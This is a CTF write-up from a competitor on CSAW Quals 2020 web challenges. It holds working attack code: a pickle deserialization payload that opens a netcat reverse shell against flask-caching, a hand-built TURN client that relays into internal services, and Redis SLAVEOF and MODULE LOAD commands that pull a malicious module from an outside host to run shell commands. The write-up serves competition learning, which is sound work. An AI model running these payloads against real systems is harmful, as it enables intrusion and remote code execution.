CSAW Quals 2020 was one of the CTFs I was looking forward to the most this year. Unfortunately, the CTF ended up being a total mess, with infrastructure issues, and broken challenges.
However, this CTF was the first to introduce some new challenge categories: steg rev and steg web! Honestly, I don't know whose idea it was to make a CTF of only misc challenges, but I hope that this year was a fluke due to COVID.
I played this CTF with a new team, Crusaders of Rust, a merger between PentaHex and Albytross. We ended up qualifying for the finals, as we placed 9th in the undergraduate US-Canada division, which was well in the 15 spots allocated! We placed 24th overall, but we were very close to solving Blox 2 (network and platform issues).
Now, onto the writeups!
As the resident web guy on our team, I was pretty happy to FC all of the web challenges.
Flask Caching was a Python/Flask web challenge where you could upload small notes with custom names. However, you couldn't view them, so they were just uploaded.
The source was provided:
#!/usr/bin/env python3
from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os
app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
app.config['DEBUG'] = False
cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])
@app.route('/', methods=['GET', 'POST'])
def notes_post():
if request.method == 'GET':
return '''
<h4>Post a note</h4>
<form method=POST enctype=multipart/form-data>
<input name=title placeholder=title>
<input type=file name=content placeholder=content>
<input type=submit>
</form>
'''
title = request.form.get('title', default=None)
content = request.files.get('content', default=None)
if title is None or content is None:
return 'Missing fields', 400
content = content.stream.read()
if len(title) > 100 or len(content) > 256:
return 'Too long', 400
redis.setex(name=title, value=content, time=3) # Note will only live for max 30 seconds
return 'Thanks!'
# This caching stuff is cool! Lets make a bunch of cached functions.
@cache.cached(timeout=3)
def _test0():
return 'test'
@app.route('/test0')
def test0():
_test0()
return 'test'
# all the way to test30()
The source shows that the notes are stored in the Redis database, and there are 31 other urls, from /test0
to /test30
that are cached for 3 seconds. It looks like the urls are also cached in the Redis database.
I found the source for the flask-caching library, and doing some more digging, I found exactly the Redis implementation for the caching.
Looking at the source, I saw that if the object content starts with a "!", flask-caching will unpickle the content when loading it. Python's pickling library is a famous vector for insecure deserialization, so if we can get it to unpickle our custom payload, we can easily get RCE.
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
'/bin/sh -i 2>&1 | nc <ip> <port> /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
open("rce.txt", "wb").write(b"!" + pickled)
With the following script, we create a text file rce.txt
that, when unpickled by the caching library, will launch a reverse shell. Now, we need to figure out the key name that the caching library uses.
I installed the app on my server and used redis-commander to look at the Redis keys. After opening up a cached URL, I found a key named flask_cache_view//test25
.
Uploading rce.txt
under that key name and going to /test25
within 3 seconds spawned a reverse shell! From there, all I had to do was cat the flag.
flag{[email protected]_10rD}
This challenge was worth 450 points, tied with another chall for the highest point-value in the whole CTF.
The website was a peer-to-peer chat service where two people who connected to the same URL could chat and message with each other. However, I thought the challenge was broken for the longest time until I figure out it only worked for Firefox for me.
The source was provided, but there was nothing that seemed out of the ordinary or seemed like a vulnerability that could be exploited. Looking at the technologies further, I found that WebRTC was used which connected to a TURN server that the organizers hosted.
I'd never looked into WebRTC / TURN / STUN before, so after a lot of research, I realized that I had no idea how to solve the challenge, nor what TURN or STUN even were. However, after doing some more recon, I came across this article, called "How we abused Slack's TURN servers to gain access to internal services".
The article described abusing a TURN server to interact with internal services not listening on external interfaces, almost like an SSRF but without the HTTP headers. The author reported this to Slack's bug bounty, and they fixed and patched the bug. After finding this article, the path was clear. Implement this vulnerability to try and talk with internal services, and somehow leverage those to gain RCE.
At this point, it was at 11 PM. I thought it would be easy, just find the PoC on the bug report, fiddle with it a bit, then ez exploit! But, I realized that the author didnt provide a proof of concept?????????????
So, I went to looking for TURN and STUN implementations and played around with them, but was unable to get anything working.
There was only around 12 hours left to the end of the CTF, and we needed a couple more hundred points to be at a safe spot. At this point, me and my other web partner, Drakon, sat down and worked on this script for the next 6 hours.
The idea behind the exploit is that when connecting to the TURN server, you send a special packet, XOR-PEER-ADDRESS
, which (on an insecure system), proxies the connection to the internal service. However, to get this to work, we needed to build a working TURN client.
Here was our implementation of the vulnerability, made by scouring the RFCs and documentation for hours, and constant trial and error.
import socket
import secrets
TURN_IP = '216.165.2.41'
TURN_PORT = 3478
BUFFER_SIZE = 1024
def constructHeader(message, length, transactionID):
# i want to die
messageTypeList = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # who the fuck designed this specification
if message[0] == "allocation":
messageTypeList[14] = 1
messageTypeList[15] = 1
elif message[0] == "connect":
messageTypeList[12] = 1
messageTypeList[14] = 1
elif message[0] == "connectionbind":
messageTypeList[12] = 1
messageTypeList[14] = 1
messageTypeList[15] = 1
if message[1] == "request": # control bits are in the middle of fucking nowhere
pass
messageType = ''.join([ str(i) for i in messageTypeList]) # 14 bits because why not (two 00 in beginning for padding)
messageLength = bin(length)[2:].zfill(16) # 16 bits, size of the message in bytes (attributes are padded to multiple of 4 bytes, so the last 2 bits better be zeor you hoe)
magicCookie = "2112A442" # what the fuck is the point of this
packet = binToHex(messageType) + binToHex(messageLength) + magicCookie + hex(transactionID)[2:] # mish mash my damn functions
return packet, transactionID
def constructAttribute(attribute, value):
if attribute == "REQUESTED-TRANSPORT":
t = "0019"
l = "0004"
elif attribute == "XOR-PEER-ADDRESS":
t = "0012"
l = hex(len(value)//2)[2:].zfill(4)
elif attribute == "CONNECTION-ID":
t = "002a"
l = "0004"
v = value
return t + l + v
def xorIP(ip, port):
xip = hex(ipToDec(ip) ^ 0x2112A442)[2:]
xport = hex(port ^ 0x2112)[2:]
return xip, xport
def decodeHeader(header):
messageType = bin(int(header[:4], 16))[2:].zfill(16)
messageLength = header[4:8]
magicCookie = header[8:16]
if magicCookie != "2112a442":
print("Your cookie is garbage.") # cookie was incorrect
transactionID = header[16:]
typeClass = messageType[7] + messageType[11]
if typeClass == "00":
typeClass = "request"
elif typeClass == "01":
typeClass = "indication"
elif typeClass == "10":
typeClass = "success response"
elif typeClass == "11":
typeClass = "error response"
else:
typeClass = "CRITICAL ERROR" # idk how this even happens
method = hex(int(messageType[:7] + messageType[8:11] + messageType[11:], 2))
return (messageLength, int(transactionID, 16), typeClass, method)
def decodeMessage(message):
i = 0
returnArr = []
while i < len(message):
t = message[i:i+4]
l = int(message[i+4:i+8], 16) * 2
v = message[i+8:i+l+8]
i += l + 8
if t == "0016":
t = "XOR-RELAYED-ADDRESS"
v = parseIP(v)
elif t == "0020":
t = "XOR-MAPPED-ADDRESS"
v = parseIP(v)
elif t == "0012":
t = "XOR-PEER-ADDRESS"
v = parseIP(v)
elif t == "000d":
t = "LIFETIME"
v = int(v, 16) # in seconds
elif t == "8022":
t = "SOFTWARE"
v = bytearray.fromhex(v).decode()
elif t == "002a":
t = "CONNECTION-ID"
v = int(v, 16)
elif t == "0009":
t = "ERROR-CODE"
errorClass = str(int(v[:6]))
errorNumber = v[6:8]
error = bytearray.fromhex(v[8:]).decode()
v = (errorClass + errorNumber + ": " + error)
returnArr.append((t, l, v))
return returnArr
def binToHex(fuck):
# fuck packets
fuckList = [ hex(int(fuck[4*i:4*(i+1)], 2))[2:] for i in range(0, len(fuck)//4) ]
return ''.join(fuckList)
def hexToIP(why):
octets = [ str(int(why[2*i:2*(i+1)], 16)) for i in range(0, 4) ]
return '.'.join(octets)
def ipToDec(no):
octets = no.split(".")
return int(''.join([ hex(int(octet))[2:].zfill(2) for octet in octets ]), 16)
def parseIP(v):
family = v[2:4] # parse the stuff for QoL
if family == "01":
family = "IPv4"
else:
family = "IPv6"
port = str(int(v[4:8], 16) ^ 0x2112)
ip = hexToIP(hex(int(v[8:], 16) ^ 0x2112A442)[2:])
return (family, ip + ":" + port)
transactionID = secrets.randbits(96) # it's a fucking uid why does it need to be cryptographically secure
# initial allocation request
HEADER = constructHeader(("allocation", "request"), 8, transactionID)
print("Transaction ID is " + str(HEADER[1])) # log the id in case
packet = HEADER[0] + constructAttribute("REQUESTED-TRANSPORT", "06000000")
MESSAGE = bytearray.fromhex(packet)
#print(MESSAGE)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TURN_IP, TURN_PORT))
s.send(MESSAGE)
data = s.recv(BUFFER_SIZE)
hexData = bytearray(data).hex()
#print(hexData)
print(decodeHeader(hexData[:40]))
print(decodeMessage(hexData[40:]))
data = xorIP("0.0.0.0", INTERNAL_PORT)
HEADER = constructHeader(("connect", "request"), len("0001" + data[1] + data[0])//2 + 4, transactionID)
packet = HEADER[0] + constructAttribute("XOR-PEER-ADDRESS", "0001" + data[1] + data[0])
MESSAGE = bytearray.fromhex(packet)
#print(MESSAGE)
s.send(MESSAGE)
data = s.recv(BUFFER_SIZE)
hexData = bytearray(data).hex()
#print(hexData)
print(decodeHeader(hexData[:40]))
print(decodeMessage(hexData[40:]))
connectionID = decodeMessage(hexData[40:])[0][2]
print(connectionID)
print("establishing new connection...\n")
# -----------------------------------------------
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((TURN_IP, TURN_PORT))
HEADER = constructHeader(("connectionbind", "request"), 8, transactionID)
packet = HEADER[0] + constructAttribute("CONNECTION-ID", hex(connectionID)[2:].zfill(8))
MESSAGE = bytearray.fromhex(packet)
#print(MESSAGE)
s2.send(MESSAGE)
data = s2.recv(BUFFER_SIZE)
hexData = bytearray(data).hex()
#print(hexData)
#print(decodeHeader(hexData[:40]))
#print(decodeMessage(hexData[40:]))
(note, this script is still very buggy and there was stuff we fixed after the CTF. but this was what we used at the time.)
Now, with this script, we could change the port on the line data = xorIP("0.0.0.0", INTERNAL_PORT)
to connect to whatever internal service we wanted!
(side note, around 4 AM we tried 127.0.0.1 for localhost, which gave us 403 Forbidden Address errors. i almost cried at this point, but i luckily tried 0.0.0.0, and it worked!)
After trying some of the common ports, we located a Redis database on port 6379. Our plan was now to connect to the internal Redis database, and somehow exploit it to gain RCE.
We found this exploit to gain RCE on a Redis database. The idea behind it was to set up a Redis database on your own computer, load a module which allowed the usage of shell commands, and then synchronize the local and target Redis databases using a MASTER/SLAVE system.
However, at ~8 hours working, I couldn't get it working, so I went to bed. When I woke up, me and EhhThing worked on it more, and eventually got it to work!
The following script was appended to the bottom of the previous solve script, with the INTERNAL_PORT set to 6379:
s2.send(b'CONFIG SET dir /tmp/\r\n') print(s2.recv(4096).decode()) s2.send(b'CONFIG SET dbfilename dadadadad.so\r\n') print(s2.recv(4096).decode()) s2.send(b'SLAVEOF 3.96.190.161 1111\r\n') print(s2.recv(4096).decode()) time.sleep(5) s2.send(b'MODULE LOAD /tmp/dadadadad.so\r\n') print(s2.recv(4096).decode()) s2.send(b"SLAVEOF NO ONE\r\n") print(s2.recv(4096).decode()) s2.send(b"system.exec ls\r\n") print(s2.recv(4096).decode()) s2.send(b"system.exec cat /flag.txt\r\n") print(s2.recv(4096).decode())
And, after more than 10 hours of work, we got the flag!
flag{[email protected]_all?}